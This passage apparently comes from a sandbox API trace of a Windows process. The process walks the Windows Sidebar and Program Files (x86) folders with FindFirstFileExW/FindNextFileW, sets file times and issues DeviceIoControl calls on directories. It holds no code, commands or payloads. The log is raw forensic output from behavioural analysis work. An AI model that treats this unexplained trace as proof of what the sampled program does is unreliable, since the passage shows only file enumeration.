ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86f3322d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x356b2151, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x9c38, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_windy.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f5938a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86f5938a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3662af81, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6add, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_blue_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f7f4e7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86f7f4e7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x366510df, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa3cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_blue_snow.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f7f4e7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86f7f4e7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36735913, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8f5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_blue_sun.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86fcb7a1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86fcb7a1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3675ba71, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbc54, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_blue_windy.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86fcb7a1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86fcb7a1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36866403, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8184, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_cloudy.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ff18fe, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ff18fe, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3688c561, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8450, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_few-showers.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87017a5b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87017a5b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3688c561, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x893d, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_foggy.png", cAlternateFileName="")) returned 1 [0081.063] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87017a5b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87017a5b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36aedb41, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x9508, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_hail.png", cAlternateFileName="")) returned 1 [0081.063] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8703dbb8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8703dbb8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36b860b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa742, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_rainy.png", cAlternateFileName="")) returned 1 [0081.063] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87063d15, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87063d15, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36cdcd07, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa0df, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_snow.png", cAlternateFileName="")) returned 1 [0081.063] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87089e72, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87089e72, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36e7fc11, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x92d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_thunderstorm.png", cAlternateFileName="")) returned 1 [0081.063] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87089e72, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87089e72, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36e7fc11, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x92d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_thunderstorm.png", cAlternateFileName="")) returned 0 [0081.063] GetLastError () returned 0x12 [0081.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1230ec8) returned 1 [0081.063] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1230fd0) returned 1 [0081.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1230790) returned 1 [0081.063] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8765739d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8765739d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x372d03b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0081.063] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8765739d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8765739d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x372d03b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0081.063] GetLastError () returned 0x12 [0081.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.064] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0081.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0081.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0081.064] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="")) returned 0 [0081.064] GetLastError () returned 0x12 [0081.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0081.064] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0081.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0081.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0081.065] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d8b118c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7d8b118c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x43f45420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll", cAlternateFileName="")) returned 1 [0081.065] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80497579, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf43439, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf43439, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0081.065] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="")) returned 1 [0081.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0081.065] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets" (normalized: "c:\\program files\\windows sidebar\\shared gadgets"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.065] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets" (normalized: "c:\\program files\\windows sidebar\\shared gadgets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0081.065] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0081.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0081.066] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0081.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0081.066] NtClose (Handle=0x164) returned 0x0 [0081.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0081.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0081.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0081.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0081.067] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0081.067] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.067] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0081.067] GetLastError () returned 0x12 [0081.067] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0081.067] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0081.067] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.067] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0081.067] GetLastError () returned 0x12 [0081.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0081.067] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0081.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0081.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0081.068] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa896430f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa896430f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa898a46f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x168400, dwReserved0=0x0, dwReserved1=0x0, cFileName="sidebar.exe", cAlternateFileName="")) returned 1 [0081.068] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9ce920, ftCreationTime.dwHighDateTime=0x1d59b20, ftLastAccessTime.dwLowDateTime=0xcf4818b0, ftLastAccessTime.dwHighDateTime=0x1d548a5, ftLastWriteTime.dwLowDateTime=0xcf4818b0, ftLastWriteTime.dwHighDateTime=0x1d548a5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 1 [0081.068] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7abe9733, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7abe9733, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x45aefc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wlsrvc.dll", cAlternateFileName="")) returned 1 [0081.068] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7abe9733, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7abe9733, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x45aefc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wlsrvc.dll", cAlternateFileName="")) returned 0 [0081.068] GetLastError () returned 0x12 [0081.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0081.068] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0081.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0081.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0081.068] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 0 [0081.069] GetLastError () returned 0x12 [0081.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0081.069] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0081.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0081.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0081.069] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Program Files (x86)", cAlternateFileName="")) returned 1 [0081.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0081.070] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)" (normalized: "c:\\program files (x86)"), fInfoLevelId=0x0, lpFileInformation=0x119f930 | out: lpFileInformation=0x119f930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0081.070] CreateFileW (lpFileName="C:\\Program Files (x86)" (normalized: "c:\\program files (x86)"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0081.070] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f974, lpLastWriteTime=0x119f974) returned 0 [0081.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0081.070] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119f9cc, lpOverlapped=0x0) returned 0 [0081.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0081.070] NtClose (Handle=0x15c) returned 0x0 [0081.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0081.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0081.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0081.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0081.071] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e8f40 [0081.071] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.071] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x9ffecc10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffecc10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0081.071] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa00f75b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00f75b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="")) returned 1 [0081.071] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0081.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0081.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0081.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0081.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0081.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0081.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200b38 [0081.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0081.073] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: 